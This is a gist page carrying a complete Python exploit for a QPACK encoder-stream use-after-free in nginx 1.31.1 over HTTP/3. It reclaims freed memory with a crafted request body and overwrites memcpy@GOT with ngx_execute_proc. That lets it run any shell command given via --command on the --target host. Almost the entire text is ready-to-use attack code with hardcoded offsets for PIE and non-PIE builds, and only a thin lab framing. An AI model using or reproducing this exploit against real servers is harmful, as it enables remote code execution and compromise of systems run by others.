Starred Gists
Starred Gists订阅

Write stage only QPACK encoder-stream UAF exploit for nginx 1.31.1 CVE-2026-42530

#!/usr/bin/env python3
"""
Write-only QPACK encoder-stream UAF exploit for nginx 1.31.1.
There is no leak stage and no profile file. --target and --command are
mandatory. The PIE base and the two write-stage offsets are hardcoded in
the CONFIG block below. Set PIE_BASE to 0 for a non-PIE target (offsets are
then absolute addresses), or to the leaked PIE load base for a PIE target.
Non-PIE example (the build in /tmp/nginx-1311-nopie):
PIE_BASE = 0x0
MEMCPY_GOT = 0xAB9668
EXECUTE_PROC = 0x4B7782
PIE example (the included nginx 1.31.1 PIE lab build):
PIE_BASE =
MEMCPY_GOT = 0x72C668
EXECUTE_PROC = 0x13DFC0
The exploit sends a POST /p request whose body reclaims the freed encoder
stream pool, then reopens the encoder stream and uses the dangling insert
buffer as a fake ngx_buf_t. The insert writes a fake ngx_exec_ctx_t over
memcpy@GOT - 0x20 and overwrites memcpy@GOT with ngx_execute_proc. The
final name copy calls it as /bin/sh -c .
"""
#
# Target nginx configuration (reference copy; this is a comment, not active
# code). Write-only lab server on port 18452.
#
# worker_processes 1;
# master_process off;
# daemon off;
#
# error_log logs/error.log info;
# pid logs/nginx.pid;
#
# events {
# worker_connections 1024;
# }
#
# http {
# access_log off;
#
# # QPACK write server: stock HTTP/3 reverse proxy, 512-byte header buffer
# # so the reset, request body, and reopened encoder fit one QUIC batch.
# server {
# listen 127.0.0.1:18452 quic reuseport;
# server_name localhost;
#
# ssl_certificate ../cert.pem;
# ssl_certificate_key ../key.pem;
# ssl_protocols TLSv1.3;
#
# client_header_buffer_size 512;
#
# location /p {
# client_body_buffer_size 16k;
#
# proxy_pass http://127.0.0.1:19096;
# proxy_http_version 1.1;
# proxy_set_header Host $host;
# }
# }
# }
#
import argparse
import asyncio
import struct
import sys
from pathlib import Path
from aioquic.asyncio import connect, QuicConnectionProtocol
from aioquic.h3.connection import H3_ALPN
from aioquic.quic.configuration import QuicConfiguration
from aioquic.quic.events import ConnectionTerminated
# ===========================================================================
# Hardcoded configuration
# ===========================================================================
# Default write port used when --target does not include one. The host and
# command always come from the mandatory --target / --command flags.
TARGET_PORT = 18452
# 0 for a non-PIE binary; leaked load base for a PIE binary.
PIE_BASE = 0x0
# Non-PIE nginx 1.31.1 addresses (PIE_BASE = 0).
MEMCPY_GOT = 0xAB9668 # .got.plt memcpy slot
EXECUTE_PROC = 0x4B7782 # ngx_execute_proc
# PIE nginx 1.31.1 offsets (uncomment and set PIE_BASE to the leaked base):
# PIE_BASE = 0x0000000000000000
# MEMCPY_GOT = 0x72C668
# EXECUTE_PROC = 0x13DFC0
# QPACK write-stage layout. These match the 1.31.1 512-byte header buffer
# and the 1060-byte request body used by the lab target.
BODY_LEN = 1060
HDR_BUF = 512
MAX_DATAGRAM = 1500
CTX_LEN = 124
MAX_COMMAND = 40
FAKE_OFF = HDR_BUF - 27 - 3 + 528
# ===========================================================================
# HTTP/3 / QPACK helpers
# ===========================================================================
def hpint(n, bits, first):
mask = (1 << bits) - 1
if n < mask:
return bytes([first | n])
out = bytearray([first | mask])
n -= mask
while n >= 128:
out.append((n & 0x7F) | 0x80)
n >>= 7
out.append(n)
return bytes(out)
def qvint(n):
if n < 64:
return bytes([n])
if n < 16384:
return bytes([0x40 | (n >> 8), n & 0xFF])
return bytes([0x80 | (n >> 24), (n >> 16) & 0xFF,
(n >> 8) & 0xFF, n & 0xFF])
def frame(t, payload):
return qvint(t) + qvint(len(payload)) + payload
def insert_literal(name, value):
return hpint(len(name), 5, 0x40) + name + hpint(len(value), 7, 0) + value
def hdr_post(path, body_len):
p = path.encode()
cl = str(body_len).encode()
return (b"\x00\x00" +
b"\xd4" + # :method POST
b"\xd7" + # :scheme https
b"\x51" + hpint(len(p), 7, 0) + p +
b"\x50\x09localhost" + # :authority
b"\x54" + hpint(len(cl), 7, 0) + cl)
def make_ctx(command, target, exec_proc):
if len(command) > MAX_COMMAND:
raise RuntimeError(
f"command is {len(command)} bytes; max {MAX_COMMAND} bytes")
ctx = bytearray(CTX_LEN)
def q(off, val):
struct.pack_into("<Q", ctx, off, val)
q(0x00, target + 0x48) # path
q(0x08, target + 0x48) # name
q(0x10, target + 0x28) # argv
q(0x18, 0) # envp
q(0x20, exec_proc) # overwrite memcpy@GOT
q(0x28, target + 0x48) # argv[0]
q(0x30, target + 0x50) # argv[1] -c
q(0x38, target + 0x53) # argv[2] command
q(0x40, 0) # argv[3]
ctx[0x48:0x50] = b"/bin/sh\0"
ctx[0x50:0x53] = b"-c\0"
ctx[0x53:0x53 + len(command) + 1] = command + b"\0"
return bytes(ctx)
def make_body(target):
body = bytearray(b"Z" * BODY_LEN)
struct.pack_into("<Q", body, FAKE_OFF + 0, target)
struct.pack_into("<Q", body, FAKE_OFF + 8, 0)
struct.pack_into("<Q", body, FAKE_OFF + 16, 0)
struct.pack_into("<Q", body, FAKE_OFF + 24, 0)
struct.pack_into("<Q", body, FAKE_OFF + 32, 0)
struct.pack_into("<Q", body, FAKE_OFF + 40, target + 0x1000)
return bytes(body)
class Sink(QuicConnectionProtocol):
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
self.terminated = None
def quic_event_received(self, event):
if isinstance(event, ConnectionTerminated):
self.terminated = (event.error_code, event.reason_phrase)
# ===========================================================================
# Write stage
# ===========================================================================
async def write_stage(host, port, target, exec_proc, command, verbose):
command_b = command.encode()
ctx = make_ctx(command_b, target, exec_proc)
body = make_body(target)
req = frame(0x01, hdr_post("/p", BODY_LEN)) + frame(0x00, body)
cfg = QuicConfiguration(
is_client=True,
alpn_protocols=H3_ALPN,
verify_mode=False,
max_datagram_size=MAX_DATAGRAM,
)
async with connect(host, port, configuration=cfg,
create_protocol=Sink) as client:
await client.ping()
q = client._quic
# Control stream.
q.send_stream_data(6, b"\x00\x04\x00", end_stream=False)
# First encoder stream: allocate the insert buffer and one table
# entry, then reset it so its pool is freed.
q.send_stream_data(
2,
b"\x02" + hpint(4096, 5, 0x20) +
insert_literal(b"AAAA", b"BBBB"),
end_stream=False,
)
client.transmit()
await asyncio.sleep(0.3)
# Reset the encoder stream. The posted connection close is deferred;
# the request body and the reopened encoder stream are queued in the
# same event-loop turn.
q.reset_stream(2, error_code=0x100)
# Request body reclaims the freed encoder stream pool.
q.send_stream_data(8, req, end_stream=False)
# Reopened encoder stream: the insert parse writes the fake context
# and the GOT overwrite through the dangling insert buffer.
q.send_stream_data(10, b"\x02" + insert_literal(ctx, b""),
end_stream=False)
client.transmit()
await asyncio.sleep(1.0)
if verbose:
print(f"[*] QPACK write sent: ctx={len(ctx)} bytes, "
f"target=0x{target:x}, exec=0x{exec_proc:x}")
# ===========================================================================
# Entry point
# ===========================================================================
def main():
ap = argparse.ArgumentParser(
description="Write-only QPACK UAF exploit (hardcoded config)")
ap.add_argument(
"--target", required=True,
help=f"host or host:write_port (required; "
f"port defaults to {TARGET_PORT})")
ap.add_argument(
"--command", required=True,
help="shell command via /bin/sh -c (required, max 40 bytes)")
ap.add_argument("--verbose", action="store_true")
ap.add_argument(
"--profile", default=None,
help="accepted for compatibility; ignored (offset/base are hardcoded)")
ap.add_argument(
"--nginx", default=None,
help="accepted for compatibility; ignored")
ap.add_argument(
"--write-port", type=int, default=None,
help=f"override write port (default {TARGET_PORT})")
args = ap.parse_args()
port = TARGET_PORT
target = args.target
if "://" in target:
target = target.split("://", 1)[1]
if ":" in target and target.count(":") == 1:
host, port_s = target.rsplit(":", 1)
port = int(port_s)
else:
host = target
if host == "localhost":
host = "127.0.0.1"
if args.write_port is not None:
port = args.write_port
if args.profile is not None:
print("[*] --profile ignored; PIE_BASE/offsets are hardcoded",
file=sys.stderr)
if args.nginx is not None:
print("[*] --nginx ignored; PIE_BASE/offsets are hardcoded",
file=sys.stderr)
command_b = args.command.encode()
if len(command_b) > MAX_COMMAND:
print(f"[-] command is {len(command_b)} bytes; max {MAX_COMMAND}",
file=sys.stderr)
return 2
target_addr = PIE_BASE + MEMCPY_GOT - 0x20
exec_addr = PIE_BASE + EXECUTE_PROC
print("[*] write-only QPACK UAF")
print(f"[*] target: {host}:{port}")
print(f"[*] command: {args.command!r}")
print(f"[*] PIE base: 0x{PIE_BASE:x}")
print(f"[*] fake ctx / memcpy GOT target: 0x{target_addr:x}")
print(f"[*] ngx_execute_proc: 0x{exec_addr:x}")
if "/tmp/qpwnpie" in args.command:
try:
Path("/tmp/qpwnpie").unlink()
except FileNotFoundError:
pass
try:
asyncio.run(write_stage(
host, port, target_addr, exec_addr, args.command, args.verbose))
print("[+] payload sent")
except Exception as e:
print(f"[-] exploit failed: {e}", file=sys.stderr)
if args.verbose:
import traceback
traceback.print_exc()
return 1
outp = Path("/tmp/qpwnpie")
if outp.exists():
try:
text = outp.read_text(errors="replace").strip()
if text:
print("[+] command output:")
print(text)
except Exception:
pass
return 0
if __name__ == "__main__":
raise SystemExit(main())
参与讨论